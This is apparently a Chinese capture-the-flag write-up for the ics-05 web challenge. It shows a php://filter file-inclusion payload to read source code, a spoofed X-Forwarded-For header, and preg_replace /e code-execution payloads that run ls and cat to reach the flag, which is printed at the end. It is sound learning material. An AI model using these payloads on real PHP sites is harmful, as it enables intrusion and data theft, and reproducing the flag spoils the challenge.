【攻防世界】ics-05
文件包含
进入页面后发现有很多按
进去后发现左上角的按钮还可以点,点了一下发现超链接中有 “?page” 这个 GET 方法传递的参数,考虑在这个参数使用 PHP 伪协议中的 “php://filter” 读取 index 的源码。

?page=php://filter/read=convert.base64-encode/resource=index.php
使用以上payload读取到index.php 的 base64 加密形式,把它转换回我们能看得懂的。有很多,但是一眼就看到了内部人员的测试,于是将主意打到了这段代码上。

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
响应头伪造
观察到 index.php 被执行的条件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是说这个请求必须是本地的请求,修改 HTTP 响应头 X_FORWARDED_FOR 的值为 “127.0.0.1”。
注:
XFF字段
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。可以通过专门的抓包改包工具或者浏览器插件或者使用脚本语言构造headers参数

preg_replace() 函数
接着就是下面使用的preg_replace()函数,可以考虑是否存在/e漏洞,详见:
preg_replace() 函数与/e漏洞
获取flag
也就是说只要在 sub 参数中有要搜索的 pat 的内容,同时将在 rep 前加上 “/e” 触发漏洞,就可以执行 replacement 中的 PHP 代码。sub 和 pat 的参数构造只要满足前面的条件就行,rep 参数则设置为 “system('ls')”,这句代码用于命令行执行 ls 命令获取目录下的所有文件。
构建如下payload,尝试读取目录信息:
?pat=/abc/e&rep=system('ls')&sub=abc

执行成功,发现目录下的 s3chahahaDir 文件夹的名字很可疑,再次执行 ls 命令在该文件中查看内容:
?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc

执行成功,发现有一个flag目录,感觉八九不离十了。继续查看:
?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc

执行成功,发现flag.php文件,用cat命令查看:
?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc

拿到flag:cyberpeace{50dcbb15b381fd8f7d98e260a3fcbb27}

浙公网安备 33010602011771号